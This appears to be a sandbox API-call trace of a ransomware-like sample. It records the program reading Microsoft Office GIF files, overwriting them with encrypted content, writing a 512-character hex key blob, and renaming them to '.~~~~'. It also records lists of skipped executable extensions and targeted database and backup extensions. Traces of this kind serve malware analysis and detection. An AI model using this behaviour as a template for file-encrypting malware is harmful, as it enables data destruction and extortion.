	[0140.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5180 | out: hHeap=0x300000) returned 1
	[0140.467] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0140.468] GetLastError () returned 0x0
	[0140.468] GetLastError () returned 0x0
	[0140.468] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0140.468] GetLastError () returned 0x0
	[0140.468] GetLastError () returned 0x0
	[0140.468] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x2d7e, lpOverlapped=0x0) returned 1
	[0140.476] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd282, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.476] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x2d7e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x2d7e, lpOverlapped=0x0) returned 1
	[0140.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.476] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.476] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.476] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.476] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.476] CloseHandle (hObject=0x138) returned 1
	[0140.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f5180
	[0140.477] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir21f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir21f.gif.~~~~")) returned 1
	[0140.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5180 | out: hHeap=0x300000) returned 1
	[0140.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.480] GetLastError () returned 0x0
	[0140.480] RtlWakeConditionVariable () returned 0x0
	[0140.480] GetCurrentThreadId () returned 0x9cc
	[0140.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".scr") returned 0x0
	[0140.480] lstrlenW (lpString=".cmd") returned 4
	[0140.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".cmd") returned 0x0
	[0140.480] lstrlenW (lpString=".dll") returned 4
	[0140.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".dll") returned 0x0
	[0140.480] lstrlenW (lpString=".bat") returned 4
	[0140.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".bat") returned 0x0
	[0140.481] lstrlenW (lpString=".cpl") returned 4
	[0140.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".cpl") returned 0x0
	[0140.481] lstrlenW (lpString=".sys") returned 4
	[0140.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".sys") returned 0x0
	[0140.481] lstrlenW (lpString=".msc") returned 4
	[0140.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".msc") returned 0x0
	[0140.481] lstrlenW (lpString=".com") returned 4
	[0140.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".com") returned 0x0
	[0140.481] lstrlenW (lpString=".lnk") returned 4
	[0140.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".lnk") returned 0x0
	[0140.481] lstrlenW (lpString=".msp") returned 4
	[0140.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".msp") returned 0x0
	[0140.481] lstrlenW (lpString=".pif") returned 4
	[0140.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".pif") returned 0x0
	[0140.481] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir24f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.483] lstrlenW (lpString=".sqb") returned 4
	[0140.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".sqb") returned 0x0
	[0140.483] lstrlenW (lpString=".ost") returned 4
	[0140.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".ost") returned 0x0
	[0140.483] lstrlenW (lpString=".txt") returned 4
	[0140.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".txt") returned 0x0
	[0140.483] lstrlenW (lpString=".mdt") returned 4
	[0140.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".mdt") returned 0x0
	[0140.484] lstrlenW (lpString=".BDB") returned 4
	[0140.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".BDB") returned 0x0
	[0140.484] lstrlenW (lpString=".eql") returned 4
	[0140.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".eql") returned 0x0
	[0140.484] lstrlenW (lpString=".DBF") returned 4
	[0140.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".DBF") returned 0x0
	[0140.484] lstrlenW (lpString=".EQL") returned 4
	[0140.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".EQL") returned 0x0
	[0140.484] lstrlenW (lpString=".FDB") returned 4
	[0140.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".FDB") returned 0x0
	[0140.484] lstrlenW (lpString=".EDB") returned 4
	[0140.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".EDB") returned 0x0
	[0140.484] lstrlenW (lpString=".DACPAC") returned 7
	[0140.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.484] lstrlenW (lpString=".VHD") returned 4
	[0140.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".VHD") returned 0x0
	[0140.484] lstrlenW (lpString=".DBV") returned 4
	[0140.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".DBV") returned 0x0
	[0140.484] lstrlenW (lpString=".dacpac") returned 7
	[0140.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.484] lstrlenW (lpString=".sdf") returned 4
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".sdf") returned 0x0
	[0140.485] lstrlenW (lpString=".accdb") returned 6
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".accdb") returned 0x0
	[0140.485] lstrlenW (lpString=".DBX") returned 4
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".DBX") returned 0x0
	[0140.485] lstrlenW (lpString=".MDT") returned 4
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".MDT") returned 0x0
	[0140.485] lstrlenW (lpString=".SQB") returned 4
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".SQB") returned 0x0
	[0140.485] lstrlenW (lpString=".vhd") returned 4
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".vhd") returned 0x0
	[0140.485] lstrlenW (lpString=".bac") returned 4
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".bac") returned 0x0
	[0140.485] lstrlenW (lpString=".mdf") returned 4
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".mdf") returned 0x0
	[0140.485] lstrlenW (lpString=".BAK") returned 4
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".BAK") returned 0x0
	[0140.485] lstrlenW (lpString=".BAC") returned 4
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".BAC") returned 0x0
	[0140.485] lstrlenW (lpString=".dbs") returned 4
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".dbs") returned 0x0
	[0140.485] lstrlenW (lpString=".vhdx") returned 5
	[0140.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.485] lstrlenW (lpString=".NDF") returned 4
	[0140.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".NDF") returned 0x0
	[0140.486] lstrlenW (lpString=".dat") returned 4
	[0140.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".dat") returned 0x0
	[0140.486] lstrlenW (lpString=".DBS") returned 4
	[0140.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".DBS") returned 0x0
	[0140.486] lstrlenW (lpString=".CKP") returned 4
	[0140.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".CKP") returned 0x0
	[0140.486] lstrlenW (lpString=".edb") returned 4
	[0140.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".edb") returned 0x0
	[0140.486] lstrlenW (lpString=".PST") returned 4
	[0140.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".PST") returned 0x0
	[0140.486] lstrlenW (lpString=".dbf") returned 4
	[0140.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".dbf") returned 0x0
	[0140.486] lstrlenW (lpString=".SQL") returned 4
	[0140.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".SQL") returned 0x0
	[0140.486] lstrlenW (lpString=".pst") returned 4
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".pst") returned 0x0
	[0140.487] lstrlenW (lpString=".dbv") returned 4
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".dbv") returned 0x0
	[0140.487] lstrlenW (lpString=".SDF") returned 4
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".SDF") returned 0x0
	[0140.487] lstrlenW (lpString=".dtxs") returned 5
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.487] lstrlenW (lpString=".db3") returned 4
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".db3") returned 0x0
	[0140.487] lstrlenW (lpString=".OST") returned 4
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".OST") returned 0x0
	[0140.487] lstrlenW (lpString=".dbx") returned 4
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".dbx") returned 0x0
	[0140.487] lstrlenW (lpString=".DB3") returned 4
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".DB3") returned 0x0
	[0140.487] lstrlenW (lpString=".DAT") returned 4
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".DAT") returned 0x0
	[0140.487] lstrlenW (lpString=".VHDX") returned 5
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.487] lstrlenW (lpString=".ndf") returned 4
	[0140.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".ndf") returned 0x0
	[0140.488] lstrlenW (lpString=".DB") returned 3
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".DB") returned 0x0
	[0140.488] lstrlenW (lpString=".sql") returned 4
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".sql") returned 0x0
	[0140.488] lstrlenW (lpString=".MYD") returned 4
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".MYD") returned 0x0
	[0140.488] lstrlenW (lpString=".DBT") returned 4
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".DBT") returned 0x0
	[0140.488] lstrlenW (lpString=".ACCDB") returned 6
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.488] lstrlenW (lpString=".fdb") returned 4
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".fdb") returned 0x0
	[0140.488] lstrlenW (lpString=".bak") returned 4
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".bak") returned 0x0
	[0140.488] lstrlenW (lpString=".myd") returned 4
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".myd") returned 0x0
	[0140.488] lstrlenW (lpString=".DTXS") returned 5
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.488] lstrlenW (lpString=".ckp") returned 4
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".ckp") returned 0x0
	[0140.488] lstrlenW (lpString=".dbt") returned 4
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".dbt") returned 0x0
	[0140.488] lstrlenW (lpString=".db") returned 3
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".db") returned 0x0
	[0140.488] lstrlenW (lpString=".TXT") returned 4
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".TXT") returned 0x0
	[0140.488] lstrlenW (lpString=".MDF") returned 4
	[0140.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".MDF") returned 0x0
	[0140.489] lstrlenW (lpString=".bdb") returned 4
	[0140.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".bdb") returned 0x0
	[0140.489] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0140.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.489] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0140.490] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.490] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.490] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26048050493) returned 1
	[0140.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd257a30, dwHighDateTime=0x1d60e1e)) 
	[0140.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d340
	[0140.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d340 | out: hHeap=0x300000) returned 1
	[0140.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f37e8
	[0140.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0140.491] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0140.491] GetLastError () returned 0x0
	[0140.492] GetLastError () returned 0x0
	[0140.492] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0140.492] GetLastError () returned 0x0
	[0140.492] GetLastError () returned 0x0
	[0140.492] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x16ad, lpOverlapped=0x0) returned 1
	[0140.556] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe953, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.556] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x16ad, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x16ad, lpOverlapped=0x0) returned 1
	[0140.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.556] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.556] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.556] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.556] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.556] CloseHandle (hObject=0x138) returned 1
	[0140.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0140.641] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir24f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir24f.gif.~~~~")) returned 1
	[0140.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0140.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.645] GetLastError () returned 0x0
	[0140.645] RtlWakeConditionVariable () returned 0x0
	[0140.645] GetCurrentThreadId () returned 0x9cc
	[0140.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".scr") returned 0x0
	[0140.645] lstrlenW (lpString=".cmd") returned 4
	[0140.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".cmd") returned 0x0
	[0140.645] lstrlenW (lpString=".dll") returned 4
	[0140.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".dll") returned 0x0
	[0140.645] lstrlenW (lpString=".bat") returned 4
